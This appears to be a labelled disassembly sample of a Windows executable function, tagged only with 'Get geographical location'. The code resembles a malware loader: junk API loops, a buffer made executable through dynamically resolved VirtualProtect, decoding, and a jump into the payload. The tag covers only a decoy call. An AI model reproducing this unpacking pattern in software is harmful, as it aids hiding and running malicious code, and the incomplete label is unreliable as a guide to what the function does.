Function at 0x402940
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41eb30
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
push 0x429c00
call esi
cmp eax, 0x280a7
jne 0x4029b1
push 0x38
xor esi, esi
push str.slokadniasdbfiasd_faiusdfiasdhgosdfjgos_dgosdfjgoisdofgm
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x30], 0
call fcn.00402d70
push esi
mov dword [ebp - 4], esi
call fcn.0040405a
push 0x4225d3
push 0x429c00
call fcn.00403944
add esp, 0xc
call fcn.00403dee
push 0x429c00
call esi
cmp eax, 0x35d85
jne 0x402a4a
cmp dword [0xc4f1a4], 0x1286
jne 0x4029d5
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
xor eax, eax
push 1
lea esi, [ebp - 0x34]
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], 0
mov word [ebp - 0x30], ax
call fcn.00402ee0
push 0
push 0x27d0c10a
mov dword [ebp - 4], 4
call fcn.004037a7
push 0
call fcn.00403d80
push 0
call fcn.0040405a
push 0
push 0
push 0
call fcn.00403f0d
fldz
add esp, 0x14
fstp qword [esp]
call fcn.00403a20
fstp st(0)
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1c], 8
jb 0x402a4a
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.00403a09
add esp, 4
mov edx, dword [0x4290b8]
mov dword [0xc4f1a4], edx
call fcn.00402920
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x656289
jne 0x402a72
call fcn.00402910
mov dword [0xc4f194], eax
inc esi
cmp esi, 0x66d056
jl 0x402a60
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
xor esi, esi
lea esp, [esp]
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0xd03868
jle 0x402ab8
cmp dword [ebp - 0x18], 0x5b7a2
je 0x402ab8
cmp dword [ebp - 0x10], 0x1b5adea6
jne 0x402aca
inc esi
mov eax, esi
cdq
cmp edx, 0xd
jl 0x402a90
jg 0x402aca
cmp eax, 0x4fe89cbd
jb 0x402a90
mov ecx, dword [0xc4f1a4]
mov eax, dword [0x4253e8]
push ecx
push 0
mov dword [0xc69b7c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor esi, esi
mov dword [0xc4e2ec], eax
cmp dword [0xc4f1a4], esi
jbe 0x402b0d
mov edx, dword [0xc69b7c]
mov ecx, dword [0xc4e2ec]
push esi
call fcn.004013a0
inc esi
cmp esi, dword [0xc4f1a4]
jb 0x402af2
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor eax, eax
mov dword [ebp - 0x10], eax
cmp eax, 0x1095b
jne 0x402b6f
push 0x422668
push 0x429c00
call esi
push str.Protect
push 0x429c00
call edi
mov edx, dword [0xc4f194]
push 0x429c00
push edx
call ebx
mov edx, dword [0xc4f1a4]
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [0xc4e2ec]
push 0x40
push edx
push ecx
mov dword [0x4386a4], eax
call eax
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x2846a
mov dword [ebp - 0x10], eax
jl 0x402b24
call fcn.00401370
mov edi, dword [sym.imp.ADVAPI32.dll_CloseEventLog]
xor esi, esi
mov ebx, 0xde6
lea esp, [esp]
cmp dword [0xc4f1a4], ebx
jne 0x402b9c
push 0
call edi
cmp esi, 0x156cae
jne 0x402ba9
call fcn.00402930
inc esi
cmp esi, 0x24c129
jl 0x402b90
call dword [0xc4f198]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret